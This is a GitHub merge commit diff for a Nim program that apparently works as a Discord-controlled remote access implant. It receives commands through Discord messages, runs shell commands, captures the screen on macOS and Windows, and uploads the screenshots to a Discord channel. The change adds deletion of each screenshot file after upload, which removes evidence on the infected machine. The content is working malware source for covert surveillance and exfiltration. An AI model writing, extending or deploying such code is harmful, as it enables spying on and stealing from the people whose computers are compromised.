Merge pull request #3 from Einstein2150/main

This commit is contained in:
SARWAR “BARTMOSS”
2025-09-22 18:09:54 +05:00
committed by GitHub

View File

@ -187,7 +187,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "screenshot taken and sent!"
if fileExists(filePath):
removeFile(filePath)
return "screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
elif defined(windows):
@ -206,7 +208,9 @@ proc handleCommand(rawCmd: string, m: Message, client: HttpClient): Future[strin
let (output, exitCode) = execCmdEx(command)
if exitCode == 0 and fileExists(filePath):
await sendFile(m.channel_id, filePath, fileName)
return "Screenshot taken and sent!"
if fileExists(filePath):
removeFile(filePath)
return "Screenshot taken, sent and deleted!"
else:
return "failed to take screenshot: " & output
else:
@ -310,4 +314,4 @@ proc messageCreate(s: Shard, m: Message) {.event(discord).} =
discard await sendMessage(m.channel_id, "Error on " & machineName & ": " & e.msg)
proc main() =
waitFor discord.startSession()
waitFor discord.startSession()